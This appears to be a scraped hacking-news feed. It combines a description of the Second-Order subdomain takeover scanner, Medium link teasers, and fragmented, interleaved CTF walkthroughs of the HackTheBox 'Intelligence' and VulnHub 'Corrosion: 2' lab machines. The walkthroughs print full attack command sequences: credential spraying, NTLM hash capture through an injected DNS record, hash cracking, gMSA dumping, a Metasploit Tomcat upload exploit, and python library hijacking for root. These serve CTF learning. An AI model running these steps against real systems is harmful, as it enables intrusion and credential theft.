KitPloit - PenTest Tools!
Second-Order - Subdomain Takeover Scanner

https://blogger.googleusercontent.com/img/a/AVvXsEgz5g4s_jFchyq-aXIg1HOkqs2KHEkl8dNtPx0IBlI7cROTelnD1UPIa5GnaRLCQht5nfD0JMAu9JY2FWtfgn87FKTsyOtDjNPWRhIVZRHVqb35zEDS4WGH9iVHPvMwnnB7OPZQP6KhVAlxndCacjUcM69Cq-FABIfNVQdzUcXTXJOocEbYUXsEDu7p=w640-h350 Scans web applications for second-order subdomain takeover by crawling the app, and collecting URLs (and other data) that match certain rules, or respond in a certain way. InstallationFrom binaryDownload a prebuilt binary from the releases page and unzip it. From sourceGo version 1.17 is recommended. go install -v github.com/mhmdiaa/second-order@latest Dockerdocker pull mhmdiaa/second-order Command line optionsDirectory to save results in (default "output") -threads int Number of threads (default 10)">-target string
Target URL
-config string
Configuration file (default "config.json")
-depth int
Depth to crawl (default 1)
-header value
Header name and value separated by a colon 'Name: Value' (can be used more than once)
-insecure
Accept untrusted SSL/TLS certificates
-output string
Directory to save results in (default "output")
-threads int
Number of threads (default 10) Configuration FileExample configuration files are in config

* LogQueries: A map of tag-attribute queries that will be searched for in crawled pages. For example, "a": "href"means log every hrefattribute of every atag.
* LogNon200Queries: A map of tag-attribute queries that will be searched for in crawled pages, and logged only if they contain a valid URL that doesn't return a 200status code.
* LogInline: A list of tags whose inline content (between the opening and closing tags) will be logged, like titleand scriptOutputAll results are saved in JSON files that specify what and where data was found

* The results of LogQueriesare saved in attributes.json{
"https://example.com/": {
"input[name]": [
"user",
"id",
"debug"
]
}
} * The results of LogNon200Queriesare saved in non-200-url-attributes.json{
"https://example.com/": {
"script[src]": [
"https://cdn.old_abandoned_domain.com/app.js",
]
}
} * The results of LogInlineare saved in inline.json{
"https://example.com/": {
"title": [
"Example - Home"
]
},
"https://example.com/login": {
"title": [
"Example - login"
]
}
} Usage IdeasThis is a list of tips and ideas (not necessarily related to second-order subdomain takeover) on what to use Second Order for.

* Check for second-order subdomain takeover: takeover.json. (Duh!)
* Collect inline and imported JS code: javascript.json.
* Find where a target hosts static files cdn.json. (S3 buckets, anyone?)
* Collect names to build a tailored parameter bruteforcing wordlist: parameters.json.
* Feel free to contribute more ideas! Referenceshttps://shubs.io/high-frequency-security-bug-hunting-120-days-120-bugs/#secondorder https://edoverflow.com/2017/broken-link-hijacking/ Download Second-Order

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cronos | HackTheBox writeup

https://cdn-images-1.medium.com/max/1003/1*tXuI0tsXQq8zTw3_ue9niA.png
Happy Sunday! It is time for yet another writeup in the OSCP prep spirit. This time it is the “Cronos” box.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Let’s play a game: Hack the Juice Shop

https://cdn-images-1.medium.com/max/600/0*Q-7k1kNGCD8Nh6EW.png
Security, a buzzword for some companies and a priority for others. We hear of so many security breaches, but we still do not find the time…

Continue reading on TestAutonation »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
InsurAce.io Biweekly Updates (Jan 10 — Jan 23)

https://cdn-images-1.medium.com/max/832/1*Oe0jcXiSNl5u3wAU1grCqQ.png
Check the project progress from Jan 10 to Jan 23.

Continue reading on InsurAce.io Blog »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HackTheBox — Backdoor Walkthrough

https://cdn-images-1.medium.com/max/702/1*j-RvugRZ-9ErPS53aLPsZw.png
Hi folks! In today's write-up, I'll describe my experience playing with the Backdoor HackTheBox machine, which is not the hardest one.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Without Permit: Multichain’s exploit explained

https://cdn-images-1.medium.com/max/2312/1*4GCKLregfgjnkzinTd7izA.png
A few days ago Multichain’s users were hacked by several attackers groups, all abusing the same vulnerability in Multichain (previously…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Solid Metasploit

https://cdn-images-1.medium.com/max/924/0*GJ_cwLYF-ScU_Vmv
Penetration testing of the corporate network using Metasploit

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Intelligence HacktheBox Walkthrough

IntroductionIntelligence is a CTF Windows box with difficulty rated as “medium” on the HackTheBox platform. The machine covers OSINT, AD attacks, and silver ticket for privilege escalation. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Directory enumeration to find PDFs
* Extracting usernames from PDF’s exif
* Hunting password in PDF and SMB login to extract info on a 5 min recurring powershell script
* Adding DNS record to catch NTLM hash
* NTHASH of the GMSA svc_int$

Exploitation

* Obtaining TGT

Privilege Escalation

* Performing silver ticket attack

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.129.163.131. We’ll run a nmap scan on this machine’s IP.
nmap -sV -p- 10.129.163.131
We found many ports open; 53 – DNS, 80 – HTTP and 445- SMB caught our eye.

https://blogger.googleusercontent.com/img/a/AVvXsEgpjXmGQYtUk8Kfq63dNwzi4ziDf0U26ybqpXj-aJCncP7w7oItnkNuwt3b4W7UWEGRmeOHjEN-s88ZD3AkGg2DCNY1EL1286jsCOwq4e-Ymj_tUhzUiSXrBS0Rit_MoLlLxqj8gvtHEI6KMT6CRgRqere5CtBwVJeIISVmwsfItg92AkxK_HSpgtKGHw=s16000 EnumerationImmediately headed over to SMB and tried listing shares without password but it was not fruitful.

https://blogger.googleusercontent.com/img/a/AVvXsEitekGdMuvxki4z22ff02j3fH66N12v4tNqO5GrSsgamrlEHMrxZHOq4PBdi1IPX-hdQgBAZk14ZQyOaAQQEo0ntd_XGNcvNeJJPlXcyHOl7flbA8KMbu_rdhbpVczD7Y2lttkwou4DO3ZXasA9mXE70rJSWOtP6uHXEKHuKIYZBENwZl-Dq4pqQebB6Q=s16000

We then immediately headed over to the website and saw various PDFs available to download.

https://blogger.googleusercontent.com/img/a/AVvXsEg44dLrUisEOrC98nwQRUHYJtgrEc6SpPlxcDsTy84oXO5-QwpmVrx7XILM834RiSWnZrO1JRRqPe-IUad9k4Yv8gC4tt2DO6f5iuJQ9woPTN4Yn6QDflL-DWRwYCW0wViR-opm6uaVbSO5_UR8OLjPasiq8Ag1Kiw8CMYMPgBzReof2GGVz89o-r5qIQ=s16000

We then downloaded these PDFs which had some written material. Upon checking their exif we saw the author’s names that could be actual users on the Active Directory on the server.

https://blogger.googleusercontent.com/img/a/AVvXsEh1WI1b2dRk1C6S6RPEwwN4XVOQZMFhr3r4LDm68WA6FLxjrDpIvap0d9dXtQRPK-w6d9-f7BWNVEk0GFLuHSjkRTzQXgZVjYcHnstluDQKL-MwJ6-WEsF63JWkQ_E1unkKhTKOynK3UsFoN2YvqzUQMGoBR0viZiM_8wYzNoEbPwp5uCVLcxdcad6k8Q=s16000

To verify the existence of these users we copy them into a file and use kerberute’s userenum function
echo "Jose.Williams" > usernames
echo "William.Lee" >> usernames
kerberute userenum -d intelligence.htb --dc 10.129.163.131 usernames
https://blogger.googleusercontent.com/img/a/AVvXsEiW3-vTUXNT7QxIt0ldDUCA8sf3A1Q9odxDNR8uqOismwFJ-0Q4fYD2IPGE3imiSeHpIoo060qlcMSniVh3ZgiczAcNQK-u6xqDVhEfuISF63a-QkNlDr43988yPS1Jh9sRPvxpv6I12RtxlhVVxzqVicyLU5BTkm5v82duwDhpVucgBsqTj9W9xlhDSw=s16000

Now that the validity of these users has been confirmed, lets look if there are any more PDFs on the /documents directory on the server.

https://blogger.googleusercontent.com/img/a/AVvXsEjVzRkL9Zdlb9jAoCUch8LVImhHFcngpzG3BJZu4VoipXIjTMsIDSoRLprv8-aJn_2dvALatw1D7OFDlri7_AqRls9PQyWf19v0b4H5ZMwgBPJdBT9-x3fprcvHXMf6KCGtY3kKRdzf3NamaIIT5WjEhUL5DZt4u77BUbgzyrda1WVAsYAC0O2EQ1rK-Q=s16000

Since we don’t have access to view the directory, we can fuzz the file names of the PDFs and try to check their existence. See the PDF downloaded above, they are in the format YYYY-MM-DD, so I designed a script to generate these dates and then append “-upload.pdf” at the end of it.
#!/bin/bash

start=2020-01-01
end=2022-01-01
while ! [[ $start > $end ]]; do
    echo $start
    start=$(date -d "$start + 1 day" +%F)
done

./fuzz_date.sh > datelist.txt
cat datelist.txt | head -n 3
sed -i s/$/-upload.pdf/ datelist.txt
cat datelist.txt | head -n 3
https://blogger.googleusercontent.com/img/a/AVvXsEj8olU21VloAYHYWWKhilaEO66jofrIKJClp-cycChTevCzjnNnZEFcs4DXxsbYkWRlMe5ekk5nVxHIFH7iACtlJ[...]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Corrosion: 2 VulnHub Walkthrough

Proxy Programmer’s Corrosion: 2 is a Vulnhub medium machine. We can download the lab from here. This lab is designed for experienced CTF players who want to put their abilities to the test in a variety of situations. So, let’s get started and see how we can split things down into smaller chunks. Pentest MethodologyNetwork Scanning

* netdiscover
* nmap

Enumeration

* dirb
* fcrackzip

Exploitation

* Metasploit
* /etc/shadow
* john

Privilege Escalation

* ssh
* python library hijacking
* root flag

Level: Medium Network Scanning To begin, we must use the netdiscover command to scan the network for the target machine’s IP address.
netdiscover
The victim’s IP address, in this case, is 192.168.1.186.

https://blogger.googleusercontent.com/img/a/AVvXsEjKk1onqg5P0J4wEqrg4ux3lc7rb9UtC8vfivCFdfsIWyQXZff-DFJXiAORTaqsqwTmPZx5nrd9hBDaiG3hPTZ8UFT3Oo0RiIRfuOfWgD2BKtHHR0Nq0fhaqvPcvHjkVgcuaxTZ0q2wAxEeFURQo61PqzudWaID_Dqm0hlbX52eIZ8HGqFFGPxoRxSOug=s16000

We’re going to use Nmap to help us move this process along. To see all of the services stated, we need to know which ones are now available.
nmap -sV 192.168.1.186
According to the nmap output, we have:

* An SSH server is available on port 22.
* On port 80, there is an HTTP service (Apache Server).
* On port 8080, a Tomcat server is running on port 8080.

https://blogger.googleusercontent.com/img/a/AVvXsEjFUCr4h9LxT6BnsA6tAhdUYzdpcVrnUI9dMyHNW65zRm6Odv3JxSeuXttNbWqmF_7wS7PFdHxEd7LJet4JxN_W-1gzH5KvwK_B_l-iy_kPEuy7tdCbx7jj2d3zwAEuGZbHCpC1uyk_tWVxUoDYloT-ssTtryBPvXfFzWJHHfN-N65fZLvmdnLxAySTOw=s16000 EnumerationLet’s begin by looking at the http service on port 80. There’s nothing strange about that; it’s just an Apache server page.

https://blogger.googleusercontent.com/img/a/AVvXsEj54r-dtA2Td_EreVBny2CnBsqg297VfT88nOhnFmg8CJirwXme8CkHlvtf9Q6mfDTbMAkajh6wNryxyw_eEE6fZTz2rHTC6GOHQ56AnElwXg3auNh8NBw4u7vPpmGpSVx_MstpZgd0WfPykQ0niRWjC7TBGkyyuEw9Z03lW15eJarU_B1iAT74Ikt0cg=s16000

Next, we looked at the Tomcat server, which was listening on port 8080. It’s a straightforward page with nothing suspicious on it.

https://blogger.googleusercontent.com/img/a/AVvXsEh3LcjmoRYHLidzX4MvSY4eMlxzhe02gpg_pLtCWnvdQ2B12kObNphP-JASceSs5iQVxle417G3m2XQBJ6gL_wvhxl4_rOI5tRlsgBlvqbxMFYEG87n9UePZtLcuwhlcAOkwPOFpX8gGCBQ7_1f7fk5wv-HVRJBSFWXJumH-YgbHhN0tfzINefS2mzFyg=s16000

We discovered nothing harmful on websites. So, to continue further in this experiment, we use the dirb directory brute force method to find some knowledge. Smash!! We discovered a directory containing a backup zip file.
dirb http://192.168.1.186:8080/ -X .php,.zip
https://blogger.googleusercontent.com/img/a/AVvXsEivYUcRnvTmVMoAefYSQDiTk8ObWNULLNYpj3evT59FuIoO39u2GOqtfpypZ8-jv676-H0X2UxmF7EgkYr3MtNPplBZlwye3F405YGP522yoZPMV0x8462KI5de3jiyiEMLwb5LE-fmhvMc_sq28uA_qki39HqOKIXOofn_eiFBICTC08GFWfSYJQVQlA=s16000

The backup zip file is then downloaded using the wget command. Following that, we attempted to study this file, but it was password protected.
wget http://192.168.1.186:8080/backup.zip
unzip backup.zip
https://blogger.googleusercontent.com/img/a/AVvXsEgM1XNQw9_EzbADCJTb-wlaBJEoQisGsd3EeAY1cBkKj1i2ajrzdytKfXAruWt_CGAiN5V69FQ86WmEUwrxmxDhIZhwn1X9ky52RWBf2PUa_MvNsnLb_9TExlMPwc-g19QJI6Ized9Hg9DVa_MWHLr2yjWk8xWWWCHDYVH4f6t0alPwsRoQ3-qR3SjJDQ=s16000

Next, we’ll use the fcrackzip utility to crack this password. It is a lightweight, open-source zip file password cracker. The rockyou word-list is used for the brute force attack. Boom!! We cracked its password in a matter of seconds (@administrator_hi5).
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
Then we use this password to unzip the backup zip file. We attempt to inspect each and every file contained in this backup zip file. We are now inspecting the t[...]

___________________________
@hacking_Attack
@Hacking_Video

4aj3KnmbV8BH7vbOzk2Tdu6YPkBqAphHTW4pNGjV6gDWStx48DqJziQKP_SseZ07r9Q35qx0OT1mQ278P-uAcUCtrtbqgOzAu_eqw=s16000

Now that we have a text file ready, we need to fuzz it using DIRB and save the existing PDFs in a file called existing.txt
dirb http://10.129.163.131/documents/ datelist.txt -o existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEg_C73dHZN_mPZEBfyZUAFECXcFQDfE3PEfGybuXjylvN-Lahc0NYfZAEfVP8rb9yYVLsi_tHrlIJk6QcCM9yUQsq7l_Xu5f9sSNyvXnoVYw7xC51h9o9BSzQylrZ2yNiUrLPYOm1DVswWWWKT6RZFiM6qgzt4vY6ZX7RsmKlAveaHk67fXMOywRuZDHA=s16000

Now that we have found that many other PDFs exist on the server, and copied their absolute paths into a text file, we need to edit this file quickly so that one URL comes in one line. This will be used later.
sed 's/[^ ]* //' existing.txt > 2.txt
sed 's/\s.*$//' 2.txt > 3.txt
cat 3.txt | head -n 4
rm existing.txt 2.txt && mv 3.txt existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhGuC-Zv3lkwV0lnrdpdZlYeiu3sNVAMM0sKG81sZujXejJwf2I3jrmaFf8dKZ9mlQRcXObjBcysEV5t9fwAtwNNYwMYjocP2wFyXjwG54T0tStxSj-mwk762-dCwwE1Hv-kfLAP-qfDhUMtVLN9RL35_wNaKo5y0LEHVyMNLHdHBlqcl38-1wPWY7eKw=s16000

Now, we can download all the PDFs at once (mass download) using wget like
wget -i /home/kali/hackthebox/intelligence/existing.txt
https://blogger.googleusercontent.com/img/a/AVvXsEi5idukVC7mDgv7lSvPpCZp16ANekoygfOlWOShkSt5X8hXOGxZBQj55NoLLj_6uzzwREXHVGWvX4Eo94SmpbCfckB8_AWZscLzkxCRQ9gXuLeFPbR_NAbsjMZJqVr0ailzLwwq_0_-ptSqpMwGDUxQmBpVt3Tetk4ccc7QE6EoxEbiuKQJl7k9imLT5Q=s16000

Now, I went through the files one by one and found a password in one of the PDFs

https://blogger.googleusercontent.com/img/a/AVvXsEhRAAZSWVkkI_5vKfYlw0WCyAvS9MqZ8NGlcXsfpGdM2K-j7BvfaDAdIrER8tcjbLUA9btrQYm-n6bI7Z8Jg6_ynnddNbsWuoAa9996TsOW45B8MErQ4CRdxDPhCj7YPJnxHbYr3zAeZMSfMkqazm5L5CH6dtaAtIZR08phLK9wbsriE3mJkVxN2fn98Q=s16000

But this password did not belong to the two users we had found earlier. So, we looked around and found many other users are being revealed through exif. Hence, we looked at all of the PDF’s exif, saved the username in a file so that each user is in a separate line.
echo "NewIntelligenceCorpUser9876" > password.txt
exiftool *.pdf | grep Creator > u1.txt
sed 's/.*://' u1.txt > u2.txt
sed 's/[^ ]* //' u2.txt > u3.txt
rm u1.txt u2.txt
https://blogger.googleusercontent.com/img/a/AVvXsEifayfxDH_uSk7M7XfrA0iFN9ilQZztYCg_3GND9n-zk16JnXZz8rwOUl-RBli3tWF_n-Y6W2C0KA9Z3AvDRGGT288hjbgvGTDSnXLel30mxkPrv4piMioEAE3ibdC0ChDnrB1xDXYaHvc6ZJMIry91kyKjLvSRxVqzEE24Q_3YbY4geKeIRPiHSdb52A=s16000 ExploitationNow, we can use crackmapexec to bruteforce usernames against the found password.
crackmapexec smb 10.129.163.131 -u u3.txt -p NewIntelligenceCorpUser9876
https://blogger.googleusercontent.com/img/a/AVvXsEi2K5NusZismCMGjuYgosMLDBQI24mWowopQNx_Cw06CylCLdqVyypXmVoaJMyuZKNiEbv5ClgR9a7EQUNRMc_9tSlkRjdvbnrrqu8pHrNOqh7GsKCC89eCBMV4JC1b_h5Lby3TuCmUcA98b7EtJh8UMW4x78qAqymMOqP3pIDsD4BNrMcF30BQOfCcDQ=s16000

We did find one valid entry!

User: Tiffany.Molina

https://blogger.googleusercontent.com/img/a/AVvXsEgcxbtlS8xa2irDQ_5u5tqEqXgvFdKpXY8eqSl2775ak9QjzCesjtYpRiQuCWr2rl6h5a2TTxpVFmuIkBF34boiIIfM2crYmK_AFVXdraf3ikHEUegm2HvG5nnU5iCXoUz5-KwOIzBpWw2ShBl8Ap_DvEB7OWgM-macL9KbtxFy5HaNKDn3Jlj9jG44zQ=s16000

Now we tried to list the SMB shares using the obtained credentials.
smbclient -L 10.129.163.131 -U Tiffany.Molina%NewIntelligenceCorpUser9876
https://blogger.googleusercontent.com/img/a/AVvXsEgQe1lCI3wGp4xddALGXfCzzrxqd1nS7PsxD6v0t1alE9wNHoyzS0mcjyZcGmUxjQ9ylzbbpy1Ey2UxIHOaAcSboYMm8V8dGMJkDfo9AfDZf_C7puCjf9Vt2LQVuYohzgmyALCfOlALDYECWlNpTNUNkEWKOt2l0SfHXn8S-Qxv19H8Bu6myUqNBHfFHw=s16000

The share called “IT” had an interesting powershell script called downdetector.ps1. This script was, at 5 minutely intervals, firing out web requests to see if it got an HTTP status 200. It was looking at AD entries where the object name started with ‘web’ and finally sending out a WebRequest.

ht[...]

___________________________
@hacking_Attack
@Hacking_Video

omcat users xml file.
unzip backup.zip
cat tomcat-users.xml
https://blogger.googleusercontent.com/img/a/AVvXsEi9oeyicwDyWMaMCXtq8RGEi-3zD-Socl4-ycbU3avaccjVA8ORsboGgevbnVkWiGfk8NMoIDJaGIpRbwjJ7z-EmNjqn1kD8gJB1e3C0M8UpKEdNYlkSQRr7gkWHQrk0Ms1BO2Nb0BlfHaws77hoHjEk6jp_2_MxRDffc-EyaLM7oJJ1aUNf9wBDpwB0w=s16000

Bam!! We discovered user admin and password melehifokivai credentials.

https://blogger.googleusercontent.com/img/a/AVvXsEiztI5WuE5M1_Sta3tZ4waTHkdHBo0_OI1dj7bTeRexWODqUoJdjAPSScZzecjTDPV6Ku2cn9ut9fN3WL2z2m3WpU-xebq5qyTgwz_VrW2-L9U5NthHKHVmT-exmHL0iyXK-nwbJ4RDFBt2gLPDiVVAjO8v5xdyl4sQV_c66rTZ_10MplcGLch38Pji7g=s16000 ExploitationNow that we have the credentials, we can begin exploiting them using a Metasploit. In these instances, employing a Tomcat exploit is the best option. Then give us all the information we need to use it, and we’re ready to go. As you can see, we had a meterpreter session.
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.186
set rport 8080
set httpusername admin
set httppassword melehifokivai
exploit
https://blogger.googleusercontent.com/img/a/AVvXsEiGj92boUJBX0CVzYS9bromIAyIbcd9DXHHI4d01HBaoxvecun1NG_gPY2nTe6RJxvxGBL2qejkOXnnfTn1jmnymcOSvCjtqZMgCOM9os9qRN4uh5iMMkBg77kzughkaXU9_3U-Z28d1LAwrryfMKlBmpKhmzHoY1-eoO2FXUxAyIyljhFrdCCI7ISkvg=s16000

We just switched the directory to home. We discover that we have two users in this lab, Jaye and Randy. We switched to user jaye. It has the same password (melehifokivai) that we found out earlier.
cd /home
ls
su jaye
ls
https://blogger.googleusercontent.com/img/a/AVvXsEjLEtiMgoOVz41sveSwTcw9xL7noY5ySUHyHSlBraS1-w31TjtdcEyZzes2B2uXc-as0XWzKUG5Axev7J1nLMUwZaa8koA3yV7GbLeskWw-67iunRaR8LctAP8QMU-nJIbbDCr0_0qCKlppcIT2KVWaJ4vSjjscYEvUW_H25ky34IwIj41uP_FRsHxjCg=s16000

We discovered that this individual has a look called the .program that allows us to locate any file. As a result, we use it to locate the /etc/shadow file. Boom!! We obtained the hash values of all users in this lab.
./look '' /etc/shadow
https://blogger.googleusercontent.com/img/a/AVvXsEiGjTeUA-Fyk-xVvS2Qql9rYylMJ2p1eIZIGQoFLPa3w5WqxnWajuvmvmcpDC8YiLKaCxCMbUFIm04a0yVRUjz4j0eEvmG9EljhS5yA_OE3iHTESgQXRyup1oXfBN6cIKQiPCpFCk1oLClF6jvQbrFqq6dfT0UJkCgcd5qOdvsyRIwUp0ZmA8QwBiFMcw=s16000

As you are aware, we already have the password for user Jaye. We copy user randy’s hash value and save it in a file called hash.

Using John, who is a specialist in this case, we try to crack that hash. In a matter of seconds, we cracked the password 07051986randy.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
https://blogger.googleusercontent.com/img/a/AVvXsEiMkuQCR3EMVH468xCy-YLUkoxS79qXoJDul_x_8ztOOx_lRN63aL9tb0p22erD4bjFPFfIuHvLtHKfkREBGJeN3DaxI5J5uHnG_gJJ1OGcueaE8QdN4H3lx4QnNrR73fo3JXPJ4CtBFUDprxT7Q8gWlalTA1myJXtaefyYiv6bjt9SQPqKnyH5NOonJw=s16000 Privilege EscalationNow, we have all of the necessary information to begin privilege escalation. To login via ssh as user randy, we use the cracked password 07051986randy.
ssh randy@192.168.1.186
Then we used the (sudo -l) tool to examine this user’s limits. We discovered that it can be abused by python library hijacking.

The randombase64.py python code can be used to perform this hijacking. which imports another file called base64.
sudo -l
cat /home/randy/randombase64.py
https://blogger.googleusercontent.com/img/a/AVvXsEiGJlFibtP3Rvm68cwnmhjBuC_ZPfKErWxwLaPX3IpTS0i2rrmAvDOCRkAuasFz6HS7Sv5H0b8TeHq6mMcaIr5NAybVRxmRKh8LYjzX3sYsXUgfcqJ5_qRGhAu5YKLKDAHAg5kdpelVpqgU7KKjq3JV00E3V8sRa63JENSNehirkJxVkq7YePWI85nHoA=s16000

To obtain base64 file coordinates, we use the locate command. In a couple of seconds, we discover its coordinates. We investigated the file’s restrictions. Using this file, we can gain root access.
locate base64
ls -la /usr/lib/python3.8/base64.py
https://blogger.googleusercontent.com/img/a/AVvXsEgFMMm8JJSJRUVQJbI1a6sGv641vEY4n2_9nv0MygnQPelYbVgQLIMtsidOL26Js6ezCTVnLUnq4MWmA[...]

___________________________
@hacking_Attack
@Hacking_Video

tps://blogger.googleusercontent.com/img/a/AVvXsEgiyhPKgMdVZmsfYrH4ZsTJ3I6ds0uKyy51J_Yy7o66mrafJZQpGAXOaWF6hI4VfpK5hfARqz1gH3dgUBLhyaP5IQswFGRo_qJ1bH-QakoUz2GVXwPK0pHPfK8GbYtQXorwcm_LmhvX--5YjPuKeeTRDXd78Nq9BYk00oF5URmO6r9mCBltGxCmA6jd2w=s16000

We need this WebRequest to reach our machine instead and for that we need to add a DNS record that points to us, so that we can capture auth request. For this, we’ll be using DNSUpdate script that can be found here.
git clone https://github.com/Sagar-Jangam/DNSUpdate.git
pip3 install -r requirements.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhht91lVo-24kCx1mnzf7y1HFoXOEoT5m7jxcy3egDH6l1C16yBHRi2cWqshVRDXmvlzgNwRvvqQ6uhu5tOgG9XXyGn5Shc6XwpdGHvrIPG-8tX_Y_FQ6NKV_vvGem_PIRN4j_RZxztZIR5ngjTVHdyA4dmTmSnbSdHu80ZE48G2sjr33mdmXoV2e3Cdg=s16000

Let us first set up a responder on our local system (HTB tunnel)

https://blogger.googleusercontent.com/img/a/AVvXsEhdQ8NciGvzq-jxsNoZvzaZWaupc_quYGaTv8J25FD2vadp_2ifK094IB61a8V5a50pBSz8yb-OoeT3VY9o-yMmyPJc_vNyKvC8hTU9E1MsRJgaxzKOaz7I1b_5OdfEzig5KVDeuJZXiaCpg7wG7ohTShHqzRn89zJsuKwZGhcD9YubLUi2UqKkljDzqw=s16000

We can add the DNS record using the following command.
python3.10 DNSUpdate.py -DNS 10.129.163.131 -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a ad -r webharsh -d 10.10.16.10
https://blogger.googleusercontent.com/img/a/AVvXsEh45CveKEKuQjklsdG-IJknfmmEjH_wzIbUwYk4ko2qi9ga7FrLcPx6wfUZmoLxkPBM2fgSBWD1Yjuk-toXovt3NLit-SHglSiRgX63cCreYh5mQfm3M0ZAxILzXyPaO2ca1ojA7PvfcB0dsTgCrEJokLuFbjYkiOZK5FpKPXjqnPcB2wUXZX2fqbX-zg=s16000

It got added! Now we waited for 5 minutes and got juicy hash of a user Ted Graves

https://blogger.googleusercontent.com/img/a/AVvXsEhO8v6bnxgxKkmui3aaoQu_-fP_ylwUCPF7I-UVt950eRNE_kjAKmfBy7GmLVtNnpnCkLIDX5yMzvpGlJpDfnjOO6iJE-69Z3iqgrijhPz2qzwnCfOgsetMJttNbC6AxvHUn9eXpvA9f4gW4uOSdxNLiWE6ayQHwZr9fOMRYCKA7nx4mzo3zSFxSoYcQA=s16000

Now we copy this hash into a file called “hash” and run hashcat on it. 5600 is the code for netntlmv2 type hash.
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
As you can see, we have received a password!

https://blogger.googleusercontent.com/img/a/AVvXsEjsLHmVOff6J0ae9ilUu9wiW08vAi-QwLX9ZLpaE13X1FRwoe2nFXsgimCSJfGf5T91EFrmCF-C3KmKTK7cAjTfd0GaRwKg4Pbkw4ytwzHuXCq-VlYHioLSJvy5A6iV__nyY-8WqFYbF-P3RZFMf0kD7pVyU7Ls6kCyB_bAtxfT8mIC6CroJEWtuqadSg=s16000

Now that I had the credential for Ted, I instantly used ldapsearch to dump information about the directory on the server
ldapsearch -H ldap://10.129.163.131 -x -W -D "Ted.Graves@intelligence.htb" -b "dc=intelligence,dc=htb"
This gave me an interesting insight. A group managed service account was running on the domain.

https://blogger.googleusercontent.com/img/a/AVvXsEgD3BoWjfScMz549KlWC9xcQrp0XOTt7UMAdEeKfTwjDFNRE2yABXIgpvszRD1gSof44Eg30p09S21l5pid103IUTJW_nc1W2XVQ9jPXhT_TNfXVWprMo4O0pD3uU4R0Y5HDAxE8whCc2lkVmyR0DdwBzB-3DzCqz-93wdVE16eASMAuGq3ZQabmEnnMw=s16000

This MSA was trusted for delegation to WWW. So, this MSA’s password can be dumped now that we have ted’s credential. (check the article here) So, we will use gMSA dumper tool to do this. You can download this here

We can dump the account’s hash using the command (add intelligence.htb in /etc/hosts first)
echo "10.129.163.131  intelligence.htb" >> /etc/hosts
git clone https://github.com/micahvandeusen/gMSADumper.git
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Voila! We received a hash of the service account.

https://blogger.googleusercontent.com/img/a/AVvXsEh_WYhaVQVeW2mgPNaUuJYZxEhA3DjjxG1-2m7Qz79Yzqt12MvTfJ6oqPtYRZRR_8ZbAuccopyt4bdVCKgL3hQvGOwme0dTdfRuaJoBRjcHM-50CAelTrHKddO8PnPcAfGgFetApdcMosaFGiRu8eg_ODcrNp_lZxN7NpLXlfPotedKkbB6J7k28Nd-Tw=s16000

With this service account’s hash, we can use Impacket toolkit’s script getST.py to create a silver ticket. But we encountered a problem with this. After some googling, it turns out that we need to sync our time clock with the server’s [...]

___________________________
@hacking_Attack
@Hacking_Video

pfRVBpsgXtu-cg4PNnEV04fIbhYlRs7DZ3pDoYp62UUBXQnRtCIcnoXwfS0dwdMSPRufkHZj-9kqlwK2inNAva_heFvzOhvcIVF7t8clgDzQg=s16000

We made some changes to this base64 python file using the nano command. Add this code to get root access to the victim’s machine.
import os
os.system ("/bin/bash")
https://blogger.googleusercontent.com/img/a/AVvXsEi-6EwkZ9qHj9FD6Wg8PG1pbJnqtf1aZFLv8dqgEKSRI-rD5EuOl59qYmVEiEVPmqC2hJRnk7vgLbFuOAWeXJrCm_8pMIATGcaOFn1h4llwn_0VrI8BdBfb6z3_FRwRp6qCizRwS3C_-7Ja3oOZFUtOJlowQK39jgzKGpMgt53kvIrAtcwGqcpy97b4Vg=s16000

We are now coordinating the use of both Python files. Boom!! We obtained root access. We immediately changed the directory to root and received the root flag in a matter of seconds.
sudo /usr/lib/python3.8 /home/randy/randombase64.py
cd /root
cat root.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhBRjkN4kBHQLrByzbtz8vywMGjzDtnFEX9Y-W7TGt1PH4BgX7aWC6MsBcOuY0HInPf5JEBCyIKuCcmNT1QCidFWwVwL4QOyJG-NqXH2JyGzMQcEb3kvSk4Ff0L9U0gJ5U5Lydgb-1FjT-oOZ7aCVeWqqrDiReTUU2IVe-CBxrQyRewoPvXo-EUAqgC1g=s16000

This was a fantastic lab with a lot of information, especially in the enumeration and privilege escalation areas. It is worthwhile to attempt to gain CTF experience. Hopefully, this walk-through should have taught you something new.

Author: Shubham Sharma is a passionate Cybersecurity Researcher, contact LinkedIn and Twitter.

The post Corrosion: 2 VulnHub Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video